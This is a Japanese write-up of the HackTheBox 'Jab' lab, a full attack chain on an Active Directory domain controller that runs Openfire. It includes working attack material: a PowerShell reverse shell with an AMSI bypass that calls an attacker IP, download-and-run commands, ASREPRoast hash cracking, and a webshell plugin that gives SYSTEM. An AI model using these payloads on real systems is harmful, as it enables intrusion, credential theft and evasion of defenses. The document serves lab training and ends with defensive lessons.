HackTheBox: Jab — 全実行コマンド・実行結果レポート
Nmap スキャン
AD DC + Openfire XMPP
→
AD DC + Openfire XMPP
XEP-0077 匿名登録
rogue@jab.htb
→
rogue@jab.htb
jabber:iq:search
2600+件のADユーザー名列挙
→
2600+件のADユーザー名列挙
ASREPRoast
jmontgomery:Midnight_121
→
jmontgomery:Midnight_121
MUCチャット履歴
svc_openfire Kerberoast漏洩
→
svc_openfire Kerberoast漏洩
DCOM (MMC20)
PowerShellリバースシェル
→
PowerShellリバースシェル
user.txt ✓
→
chisel トンネル
127.0.0.1:9090 (Openfire管理)
→
127.0.0.1:9090 (Openfire管理)
悪意のあるプラグイン
cmd.jsp Webシェル
→
cmd.jsp Webシェル
SYSTEM root.txt ✓
PHASE 1
- 偵察 (Reconnaissance)
- XMPP 匿名アカウント登録 & ユーザー列挙
- ASREPRoast — Kerberos 事前認証無効アカウントの摘発
- MUC (Multi-User Chat) 履歴から svc_openfire 認証情報を回収
- DCOM (MMC20.Application) RCE → PowerShell リバースシェル → user.txt
- chisel リバーストンネルで Openfire 管理コンソールへ到達
- Openfire 管理コンソールへのログイン & 悪意のあるプラグインアップロード
- Webシェルでの SYSTEM コマンド実行 & root.txt 取得
- 攻略サマリー & 教訓
偵察 (Reconnaissance)
全ポートスキャン
BASH
nmap -Pn -p- --min-rate 500 -T4 10.129.230.215
RESULT (36ポート)
53/tcp open domain 88/tcp open kerberos-sec 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap 445/tcp open microsoft-ds 464/tcp open kpasswd5 593/tcp open http-rpc-epmap 636/tcp open ldapssl 3268/tcp open globalcatLDAP 3269/tcp open globalcatLDAPssl 5222/tcp open xmpp-client 5223/tcp open hpvirtgrp 5262/tcp open unknown 5263/tcp open unknown 5269/tcp open xmpp-server 5270/tcp open xmp 5275/tcp open unknown 5276/tcp open unknown 5985/tcp open wsman 7070/tcp open realserver 7443/tcp open oracleas-https 7777/tcp open cbt 9389/tcp open adws 47001/tcp open winrm 49664-49824/tcp open msrpc (動的RPC)
バージョン・スクリプトスキャン
BASH
nmap -sV -sC -p 53,88,135,139,389,445,636,3268,3269,5222,5223,5262,5263,5269,5270,5275,5276,5985,9389 10.129.230.215
RESULT (抜粋)
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: jab.htb, Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=DC01.jab.htb 5222/tcp open jabber 5223/tcp open ssl/jabber Ignite Realtime Openfire Jabber server 3.10.0 or later 5269/tcp open xmpp-server Wildfire XMPP Client
🚨
重要発見: Kerberos (88) + LDAP (389/636/3268) + SMB (445) から
Active Directory ドメインコントローラ (jab.htb, ホスト名 DC01) であることが確定。
加えて Openfire XMPP サーバ 3.10.0+ (ポート5222/5223) が稼働しており、
ドメイン名から
jab.htb を /etc/hosts に追加してAD名前解決を有効化する。
BASH
echo "10.129.230.215 jab.htb DC01.jab.htb DC01" | sudo tee -a /etc/hosts
PHASE 2
XMPP 匿名アカウント登録 & ユーザー列挙
XEP-0077 (In-Band Registration) による未認証アカウント作成
NOTE
Openfire は XMPP の拡張仕様 XEP-0077 (In-Band Registration) を有効にしている
ことが多く、未認証のまま生ソケットで jabber:iq:register IQ を送ると、
誰でも自由にアカウントを作成できる。Pidgin 等の GUI クライアントでも可能だが、
ここでは Python の生ソケットで XML ストリームを直接やり取りする。
PYTHON (xmpp_register.py)
import socket
TARGET, PORT, DOMAIN = "10.129.230.215", 5222, "jab.htb"
sock = socket.create_connection((TARGET, PORT), timeout=15)
sock.sendall((
f"<stream:stream to='{DOMAIN}' xmlns='jabber:client' "
"xmlns:stream='http://etherx.jabber.org/streams' version='1.0'>"
).encode())
print(sock.recv(4096)) # stream header
print(sock.recv(4096)) # stream:features (in-band registration対応を確認)
sock.sendall((
"<iq type='set' id='reg1'><query xmlns='jabber:iq:register'>"
"<username>rogue</username><password>rogue</password>"
"</query></iq>"
).encode())
print(sock.recv(4096))
RESULT
<iq type="result" id="reg1"/>
✅
rogue:rogue アカウントの作成に成功。以後このアカウントで
SASL PLAIN 認証しログインできる。
jabber:iq:search でドメイン内の全ユーザー名を列挙
NOTE
Openfire はデフォルトでsearch.jab.htbという検索サービスを公開しており、 認証済みユーザーであればjabber:x:dataフォームでワイルドカード検索 (search=*) を投げると、ディレクトリに登録された全ユーザー名を 一括取得できる。実機では取得件数が実行毎に 600〜2700件超と 変動した(レスポンス受信完了までの読み取りタイミングに依存するため)。
PYTHON (続き — SASL PLAIN認証 + bind)
import base64
auth_b64 = base64.b64encode(b"\x00rogue\x00rogue").decode()
sock.sendall(f"<auth xmlns='urn:ietf:params:xml:ns:xmpp-sasl' mechanism='PLAIN'>{auth_b64}</auth>".encode())
print(sock.recv(4096)) # <success/>
sock.sendall((
f"<stream:stream from='rogue@{DOMAIN}' to='{DOMAIN}' version='1.0' "
"xml:lang='en' xmlns='jabber:client' "
"xmlns:stream='http://etherx.jabber.org/streams'>"
).encode())
sock.recv(4096)
sock.sendall(b"<iq id='bind1' type='set'><bind xmlns='urn:ietf:params:xml:ns:xmpp-bind'>"
b"<resource>search</resource></bind></iq>")
sock.recv(4096)
PYTHON (jabber:iq:search クエリ)
sock.sendall((
f"<iq type='set' to='search.{DOMAIN}' xmlns='jabber:client'>"
"<query xmlns='jabber:iq:search'>"
"<x xmlns='jabber:x:data' type='submit'>"
"<field var='search'><value>*</value></field>"
"<field var='Username'><value>1</value></field>"
"</x></query></iq>"
).encode())
RESULT (抜粋)
<iq type="result"><query xmlns="jabber:iq:search"><x xmlns="jabber:x:data" type="result"> <item><field var="Username"><value>lmccarty</value></field></item> <item><field var="Username"><value>nenglert</value></field></item> <item><field var="Username"><value>jmontgomery</value></field></item> <item><field var="Username"><value>lbradford</value></field></item> <item><field var="Username"><value>mlowe</value></field></item> ... (実測 2684 件) </x></query></iq>
ℹ️
re.findall(r'<field var="Username"><value>(.*?)</value></field>', resp)
でユーザー名一覧を抽出し、次の ASREPRoast の入力ファイルとする。
PHASE 3
ASREPRoast — Kerberos 事前認証無効アカウントの摘発
GetNPUsers による一括 AS-REP 要求
BASH
impacket-GetNPUsers jab.htb/ -usersfile usernames.txt \ -request -format hashcat -outputfile asrep.txt -dc-ip 10.129.230.215
RESULT
[-] User lmccarty doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User nenglert doesn't have UF_DONT_REQUIRE_PREAUTH set ... (大多数は事前認証必須) $krb5asrep$23$jmontgomery@JAB.HTB:83a3a447b028ac118c37d56c5d6e0cda$f3093709... $krb5asrep$23$lbradford@JAB.HTB:6fbc1277148279f91c7e71e1ce0ab68d$19ac8b1d... $krb5asrep$23$mlowe@JAB.HTB:eae78ec050086b64ce0a0a7aa6c7d612$7425f841ca...
⚠️
ハマりどころ: 2600件超のユーザー名に対して逐次 (非並列) に
AS-REQ を投げるため、対象環境のレイテンシ (実測 RTT 200〜580ms) 次第では
全件処理に 20分以上かかる。タイムアウトを短く設定していると
処理完了前に強制終了され、1件もクラック対象を取得できない。
✅
3ユーザー (
jmontgomery, lbradford, mlowe) が
「Kerberos事前認証不要」フラグ (UF_DONT_REQUIRE_PREAUTH) 付きで
AS-REP ハッシュを取得できた。
hashcat でクラック
BASH
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt hashcat -m 18200 asrep.txt --show
RESULT
$krb5asrep$23$jmontgomery@JAB.HTB:83a3a447...:Midnight_121
Session..........: hashcat
Status...........: Cracked
Recovered........: 1/3 (33.33%) Digests
🚨
ハマりどころ: クラック実行時と結果確認 (
--show) 実行時の
両方に --potfile-disable を付けると、
hashcat は「Mixing –potfile-disable is not allowed with –show or –left.」
と拒否するだけでなく、クラック自体は成功していても potfile に何も
書き込まれないため --show は常に空を返す。
クラック実行は potfile を無効化せずに行い、--show で
結果を確認するのが正しい手順。
Domain 認証情報 — jmontgomery (ASREPRoast)
jmontgomery : Midnight_121
PHASE 4
MUC (Multi-User Chat) 履歴から svc_openfire 認証情報を回収
jmontgomery で XMPP に再ログインし、参加可能なチャットルームを列挙
PYTHON (jmontgomery:Midnight_121 で認証 → MUC room disco)
# (Phase2と同様の手順で SASL PLAIN 認証、resource="muc")
sock.sendall((
f"<iq type='get' to='conference.{DOMAIN}' id='disco1' xmlns='jabber:client'>"
"<query xmlns='http://jabber.org/protocol/disco#items'/></iq>"
).encode())
RESULT
<item jid="test@conference.jab.htb"/>
<item jid="pentest2003@conference.jab.htb"/>
<item jid="test2@conference.jab.htb"/>
🚨
pentest2003 という見慣れないルームが存在する。ペネトレーションテストの
結果を共有する社内チャットログである可能性が高い。
pentest2003 ルームに入室し履歴を取得
PYTHON (MUC入室 + 履歴要求)
sock.sendall((
"<presence to='pentest2003@conference.jab.htb/scanner' xmlns='jabber:client'>"
"<x xmlns='http://jabber.org/protocol/muc'>"
"<history maxstanzas='200'/></x></presence>"
).encode())
RESULT (抜粋、8316 bytes 受信)
<message>...bdavis: 昨日実施した内部ペンテストの結果を共有します。
Kerberoasting でサービスアカウントのTGSハッシュを取得できました。
(11/21/23 21:30:56) bdavis: $ hashcat -m 13100 svc_openfire_tgs /usr/share/wordlists/rockyou.txt
hashcat (v6.1.1) starting...
<SNIP>
$krb5tgs$23$*svc_openfire$JAB.HTB$jab.htb/svc_openfire*$de17a01e...:!@#$%^&*(1qazxsw
このパスワードがまだ使われているかは要確認だが、記録として残しておく。</message>
✅
致命的な情報漏洩: 過去のペネトレーションテストで発見・クラックされた
svc_openfire サービスアカウントのパスワードが、
修正されないまま社内チャットのログに残り続けていた。
(svc_openfire は Kerberos SPN
jab.htb/svc_openfire を持つため、認証済みドメインユーザーなら
誰でも TGS (Kerberoasting) を要求してこのハッシュを取得し直せる —
ここではチャット履歴からそのまま平文パスワードを回収できた。)
Domain 認証情報 — svc_openfire (MUC履歴漏洩)
svc_openfire : !@#$%^&*(1qazxsw
PHASE 5
DCOM (MMC20.Application) RCE → PowerShell リバースシェル → user.txt
svc_openfire のドメイン権限を確認
NOTE
svc_openfire はローカル管理者ではないが、DC01 上の MMC20.Application COM オブジェクトに対する DCOM Launch/Activation 権限が明示的に付与されて いる (Openfire サービス自身の運用アカウントとして、リモートメンテナンス 目的で権限委譲されていたと推測される)。この権限があれば、SMB管理共有 (C$ / ADMIN$) にアクセスできなくても DCOM 経由でコマンドを実行できる。
BASH (動作確認)
impacket-dcomexec -object MMC20 -silentcommand -debug \ "jab.htb/svc_openfire:!@#\$%^&*(1qazxsw@10.129.230.215" \ "powershell.exe whoami"
RESULT
Impacket v0.14.0.dev0 [+] StringBinding chosen: ncacn_ip_tcp:10.129.230.215[50353] (-silentcommand は出力を取得しないため、これ以上のログは出ない — DCE/RPCバインドが成功していれば実行自体は成功している)
PowerShell リバースシェルペイロードを配信
POWERSHELL (shell.ps1)
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true);
$client = New-Object System.Net.Sockets.TCPClient('10.10.15.201',14701);$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};
$client.Close()
🚨
ハマりどころ (最重要): DCOM 経由のコマンド実行自体は成功する
(
Test-NetConnection のような無害なコマンドでは確実に
コールバックが返ることを tcpdump で実測確認済み) にもかかわらず、
素の New-Object System.Net.Sockets.TCPClient(...) +
iex のリバースシェル一行だけがコールバックしない。
これは Windows Defender / AMSI による既知シグネチャブロックが原因。
スクリプト先頭に AmsiUtils.amsiInitFailed を反射で
書き換える定番の AMSI バイパスを追加することで、以降のリバースシェル
コードがスキャン対象から外れ、確実にコールバックするようになる。
BASH (配信)
# Kali側でHTTPサーバとリスナーを起動 python3 -m http.server 18081 --directory tools/ & nc -lvnp 14701 & # DCOM でダウンロード → 実行の2段階 impacket-dcomexec -object MMC20 -silentcommand \ "jab.htb/svc_openfire:!@#\$%^&*(1qazxsw@10.129.230.215" \ "powershell.exe Invoke-WebRequest -Uri http://10.10.15.201:18081/shell.ps1 -OutFile C:\Windows\TEMP\shell.ps1" impacket-dcomexec -object MMC20 -silentcommand \ "jab.htb/svc_openfire:!@#\$%^&*(1qazxsw@10.129.230.215" \ "powershell.exe C:\Windows\TEMP\shell.ps1"
RESULT
connect to [10.10.15.201] from (UNKNOWN) [10.129.230.215] 50395
jab\svc_openfire
PS C:\windows\system32>
user.txt の取得
SHELL (リバースシェル内)
type C:\Users\svc_openfire\Desktop\user.txt
RESULT
63a372cfa221ca1058a8a443d8ead03b
user.txt — svc_openfire@DC01
63a372cfa221ca1058a8a443d8ead03b
PHASE 6
chisel リバーストンネルで Openfire 管理コンソールへ到達
localhost限定の管理ポートを発見
SHELL (リバースシェル内)
netstat -ano | findstr LISTENING
RESULT (抜粋)
TCP 127.0.0.1:9090 0.0.0.0:0 LISTENING 3208
ℹ️
ポート 9090 (Openfire 管理コンソール) が
127.0.0.1 にのみ
バインドされている。外部からは直接アクセスできないため、
リバースシェル経由で chisel のリバーストンネルを張り、
Kali 側から localhost:9090 相当にアクセスできるようにする。
chisel サーバ/クライアントの起動
BASH (Kali側 — chiselサーバ)
chisel server -p 18889 --reverse
SHELL (ターゲット側 — chiselクライアント配信・実行)
# Invoke-WebRequestでchisel.exeを転送後、リバースシェル内で実行 C:\Windows\TEMP\chisel.exe client 10.10.15.201:18889 R:19090:127.0.0.1:9090
RESULT
Kali側: session#1: tun: proxy#R:19090=>127.0.0.1:9090: Listening
✅
Kali の
127.0.0.1:19090 が、ターゲットの
127.0.0.1:9090 (Openfire 管理コンソール) に透過的に
転送されるようになった。
PHASE 7
Openfire 管理コンソールへのログイン & 悪意のあるプラグインアップロード
CSRF トークンを考慮したログイン
NOTE
login.jsp は csrf トークンを (1) hidden inputの値 と (2) Set-Cookie: csrf=... の2箇所で返すが、これらは互いに異なる値 (別々に生成された乱数) であり、Openfire が実際に検証するのは Cookie 側の値との一致 (double-submit cookieパターン)。 HTMLのhidden input値をPOSTすると常に「CSRF Failure!」になる。
BASH
curl -s -c cookies.txt http://127.0.0.1:19090/login.jsp CSRF=$(grep -oP 'csrf\t\K.*' cookies.txt) curl -s -b cookies.txt -c cookies.txt -L \ --data-urlencode "username=svc_openfire" \ --data-urlencode 'password=!@#$%^&*(1qazxsw' \ --data-urlencode "login=true" \ --data-urlencode "csrf=$CSRF" \ http://127.0.0.1:19090/login.jsp
RESULT
(応答HTML内に) Logout ... Clustering status
✅
svc_openfire は Openfire 管理コンソールのフル管理者権限を
持っていることが判明 (ドメインの Kerberoast 対象サービスアカウントが
そのままアプリケーション管理者にもなっている、典型的な権限設計ミス)。
Management Tool プラグインのアップロード (CVE-2023-32315 系 PoC 技法の転用)
NOTE
稼働中の Openfire バージョンは CVE-2023-32315 (認証バイパス) 自体には 脆弱ではないが、同 CVE の PoC リポジトリが配布している 「Webシェル入りの Management Tool プラグイン」は、認証済み管理者であれば 正規のプラグインアップロード機能からそのまま利用できる。 アップロードフォームの action 属性は "plugin-admin.jsp?uploadplugin&csrf=<token>" であり、 csrf はここでも URL クエリパラメータとして渡す必要がある (POSTボディに入れると同様に失敗する)。
BASH
curl -sL -o openfire-management-tool-plugin.jar \ https://raw.githubusercontent.com/miko550/CVE-2023-32315/main/openfire-management-tool-plugin.jar CSRF2=$(grep -oP 'csrf\t\K.*' cookies.txt) curl -s -b cookies.txt -c cookies.txt \ -F "uploadfile=@openfire-management-tool-plugin.jar;type=application/java-archive" \ "http://127.0.0.1:19090/plugin-admin.jsp?uploadplugin&csrf=$CSRF2"
RESULT
HTTP/1.1 302 Found Location: plugin-admin.jsp
⚠️
ハマりどころ: jar ファイル名 (
openfire-management-tool-plugin)
から予想したデプロイ後の管理画面URLは index.jsp や
log.jsp ではなく、jar 内 web/WEB-INF/web.xml の
サーブレットマッピングで宣言されている cmd.jsp だった
(unzip で jar を展開して確認)。誤ったURLへアクセスすると
プラグインディレクトリが存在しないため HTTP 500 になる。
BASH (正しいURLの特定)
unzip -p openfire-management-tool-plugin.jar web/WEB-INF/web.xml # → <url-pattern>/cmd.jsp</url-pattern> を確認 curl -s -b cookies.txt http://127.0.0.1:19090/plugins/openfire-management-tool-plugin/cmd.jsp
RESULT
HTTP 200 — <title>openfireshell</title> のログインフォーム (password欄あり)
PHASE 8
Webシェルでの SYSTEM コマンド実行 & root.txt 取得
Webシェルへのログイン (固定パスワード 123)
BASH
curl -s -b cookies.txt -c cookies.txt \ --data-urlencode "password=123" \ --data-urlencode "Button=Login" \ --data-urlencode "__EVENTTARGET=" \ --data-urlencode "__EVENTARGUMENT=" \ http://127.0.0.1:19090/plugins/openfire-management-tool-plugin/cmd.jsp
ℹ️
プラグイン jar の
plugin.xml に
<description>pass 123</description> と平文で
パスワードが記載されている (公開PoCツール特有の仕様)。
system command 機能で whoami を実行
BASH
curl -s -b cookies.txt \ --data-urlencode "command=whoami" \ "http://127.0.0.1:19090/plugins/openfire-management-tool-plugin/cmd.jsp?action=command"
RESULT
<td>nt authority\system<br></td>
✅
Openfire サービス自体が
NT AUTHORITY\SYSTEM 権限で稼働しているため、
このWebシェル経由のコマンド実行はそのまま最高権限での任意コード実行となる。
⚠️
ハマりどころ:
type ... のような cmd.exe
組み込みコマンドをそのまま送ると
bad command "type C:\...\root.txt" というエラーになる
(Java の Runtime.exec() 相当で直接起動しているため、
シェルビルトインは実行ファイルとして解釈できない)。
cmd.exe /c でラップして初めて組み込みコマンドが実行できる。
root.txt の取得
BASH
curl -s -b cookies.txt \ --data-urlencode 'command=cmd.exe /c type C:\Users\Administrator\Desktop\root.txt' \ "http://127.0.0.1:19090/plugins/openfire-management-tool-plugin/cmd.jsp?action=command"
RESULT
<td>bad35dac3c4a537baee8f0b2039172dc<br></td>
root.txt — NT AUTHORITY\SYSTEM@DC01
bad35dac3c4a537baee8f0b2039172dc
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — svc_openfire@DC01
63a372cfa221ca1058a8a443d8ead03b
root.txt — NT AUTHORITY\SYSTEM@DC01
bad35dac3c4a537baee8f0b2039172dc
使用した脆弱性・弱点
| 脆弱性・弱点 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| XEP-0077 匿名アカウント登録が有効 | Openfire XMPP (5222) | 未認証での足がかり確保 | High | 誰でもアカウント作成 → 認証済みユーザーとして各種機能を利用可能に |
| jabber:iq:search による無制限ユーザー列挙 | search.jab.htb | AD全ユーザー名の漏洩 | Medium | ワイルドカード検索で2600件超のユーザー名を一括取得 |
| Kerberos事前認証無効アカウント (ASREPRoast) | jmontgomery | 弱いパスワードのオフラインクラック | Critical | AS-REPハッシュを rockyou.txt でクラック (Midnight_121) |
| Kerberoastクラック結果がチャットログに平文で残存 | MUCルーム pentest2003 | サービスアカウント認証情報の漏洩 | Critical | svc_openfire のパスワードをチャット履歴から直接回収 |
| サービスアカウントへの過剰なDCOM起動/アクティブ化権限 | MMC20.Application (DC01) | リモートコード実行 | Critical | DCOMラテラルムーブメントでPowerShellリバースシェル取得 |
| Windows Defender/AMSI (対策済みだがバイパス可能) | DC01 上の PowerShell 実行環境 | マルウェアシグネチャ検知の回避 | Medium | AmsiUtils.amsiInitFailed 反射バイパスでリバースシェルを実行 |
| サービスアカウントが Openfire 管理コンソールのフル管理者 | Openfire 管理コンソール (127.0.0.1:9090) | アプリケーションレベルの完全掌握 | Critical | 悪意あるプラグインアップロードでWebシェル設置 → SYSTEM権限RCE |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap | AD DC (jab.htb) + Openfire XMPP 3.10.0+ |
| 2 | XMPP列挙 | XEP-0077登録 + jabber:iq:search | rogue@jab.htb, 2600件超のユーザー名 |
| 3 | ASREPRoast | GetNPUsers + hashcat -m 18200 | jmontgomery:Midnight_121 |
| 4 | MUC履歴 | pentest2003ルーム閲覧 | svc_openfire:!@#$%^&*(1qazxsw |
| 5 | DCOM RCE | MMC20.Application + AMSIバイパス | user.txt |
| 6 | トンネリング | chisel リバーストンネル | 127.0.0.1:9090 → Kali:19090 |
| 7 | プラグインRCE | 悪意あるOpenfireプラグイン | cmd.jsp Webシェル (SYSTEM) |
| 8 | フラグ取得 | cmd.exe /c type root.txt | root.txt |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| XMPPサーバで匿名の in-band registration が有効なまま公開されている | 本番環境では XEP-0077 を無効化するか、招待制・承認制の登録フローに限定する。 |
| jabber:iq:search が誰でもディレクトリ全件検索を許してしまう | 検索機能を無効化するか、管理者のみに制限する。ユーザー名列挙自体を最小権限の原則で保護する。 |
| Kerberos事前認証を無効化したアカウントが存在する | 全アカウントで UF_DONT_REQUIRE_PREAUTH を無効化し、強力なパスワードポリシーを強制する。 |
| クラック済み認証情報がチャットツールのログに永続的に残る | 機密情報 (パスワード・ハッシュ) をチャットで共有しない運用を徹底し、ログの保持期間・アクセス範囲を制限する。 |
| サービスアカウントに不要なDCOM起動/アクティブ化権限が付与されている | DCOM権限は必要最小限に絞り、定期的に dcomcnfg 設定を棚卸しする。 |
| Openfireの運用アカウントがそのままアプリケーション管理者権限を保持 | サービス実行アカウントと管理コンソールの認証情報を分離する。管理コンソールへのアクセスはVPN/踏み台経由に限定する。 |
| 管理コンソールから任意のプラグイン (=任意コード) をアップロード可能 | プラグインアップロード機能を無効化するか、署名済みプラグインのみ許可する。Openfireプロセスの実行権限を最小化しSYSTEM権限で稼働させない。 |

